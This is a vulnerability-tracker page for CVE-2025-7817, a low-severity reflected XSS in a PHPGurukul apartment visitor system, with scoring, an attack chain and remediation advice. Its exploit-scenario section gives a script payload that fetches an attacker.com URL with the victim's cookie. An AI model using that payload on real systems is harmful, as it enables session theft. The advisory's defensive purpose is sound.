Skip to main content

PHPGurukul Apartment Visitors Management System CVE-2025-7817

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-19 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain valid application credentials
  2. Delivery
    Craft malicious URL with XSS payload in visname parameter
  3. Exploit
    Social engineer victim user to click link or submit form
  4. Execution
    Malicious script executes in victim's browser context
  5. Impact
    Steal session token or modify data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) valid authenticated credentials to access the application (PR:L), (2) the victim user must click or interact with attacker-supplied link or form submission (UI:P), and (3) the /bwdates-reports.php endpoint must be accessible and process the visname parameter without sanitization. The vulnerability is limited to authenticated sessions; pre-authentication exploitation is not possible. No special product configuration is required beyond standard installation.

Impact

CVSS v4.0 score of 2.0 reflects low severity: network-accessible (AV:N) but requires authentication (PR:L), user interaction (UI:P), and only causes integrity impact to the victim's session (VI:L). EPSS at 0.05% (16th percentile) is significantly lower than CVSS severity would suggest, indicating minimal real-world adoption or attacker interest. The E:P (Exploit Proof of Concept) field confirms public POC availability, but the extreme mismatch between CVSS and EPSS suggests this affects a niche product with limited attack surface in practice. The vulnerability requires an authenticated user and victim interaction, substantially limiting exploitation scope compared to pre-authentication flaws. Risk prioritization: defer this below network-accessible, pre-auth vulnerabilities unless the organization directly operates this specific apartment management system.

Exploit ScenarioDerived

An authenticated user (e.g., staff member) crafts a malicious URL or form submission containing JavaScript in the visname parameter, such as visname=<script>fetch('https://attacker.com/?cookie='+document.cookie)</script>. When a victim (another authenticated user) visits the crafted link or submits the form, the injected script executes in their browser context, potentially stealing session cookies, redirecting to phishing pages, or modifying visitor records within their session.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Reflected cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated remote attackers to inject malicious scripts via the visname parameter in /bwdates-reports.php, executing arbitrary JavaScript in victim browsers when user interaction occurs. Publicly available exploit code exists; EPSS score of 0.05% indicates low real-world exploitation probability despite public POC availability.

RemediationAI

No vendor-released patch has been identified at time of analysis. Organizations using this product should immediately upgrade to a patched version if available from the vendor, or contact PHPGurukul at phpgurukul.com for security updates. As compensating controls, implement HTML entity encoding on all user inputs before output in /bwdates-reports.php (specifically the visname parameter), apply input validation to reject special characters in the visname field, and deploy a Web Application Firewall (WAF) with XSS detection rules to filter malicious script injection attempts. Additionally, enforce Content-Security-Policy (CSP) headers to restrict inline script execution, which mitigates stored and reflected XSS impact even if input validation is bypassed-note this may require application modifications and testing to avoid breaking legitimate functionality.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This is a reflected cross-site scripting vulnerability (CWE-79) in a PHP-based apartment management application. The vulnerable endpoint /bwdates-reports.php fails to properly sanitize or validate the visname HTTP POST parameter before rendering it in the HTTP response. The HTTP POST Request Handler component does not encode user-controlled input destined for HTML context, allowing attackers to inject script tags or event handlers. The vulnerability exists in PHPGurukul's apartment management suite, which is a PHP application commonly used in property management scenarios.

Know when Apartment Visitors Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /bwdates-reports.php of the component HTTP POST Request Handler. The manipulation of the argument visname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
0.1%
Top 84% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:phpgurukul:apartment_visitors_management_system:1.0:*:*:*:*:*:*:*
CVE-2022-44139 CRITICAL POC
9.8 Nov 23

Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV

CVE-2022-2677 CRITICAL POC
9.8 Aug 05

A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),

CVE-2021-38833 CRITICAL POC
9.8 Sep 13

SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9

CVE-2025-4699 MEDIUM POC
6.9 May 15

A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se

CVE-2025-4550 MEDIUM POC
6.9 May 11

A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0

CVE-2025-4505 MEDIUM POC
6.9 May 10

A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this

CVE-2025-2380 MEDIUM POC
6.9 Mar 17

A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this

CVE-2025-2472 MEDIUM POC
6.9 Mar 18

A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated

CVE-2025-2379 MEDIUM POC
6.9 Mar 17

A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this

CVE-2025-2657 MEDIUM POC
6.9 Mar 23

A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium

CVE-2022-2772 CRITICAL
9.8 Aug 11

A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic

CVE-2022-2684 MEDIUM POC
5.4 Aug 05

A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy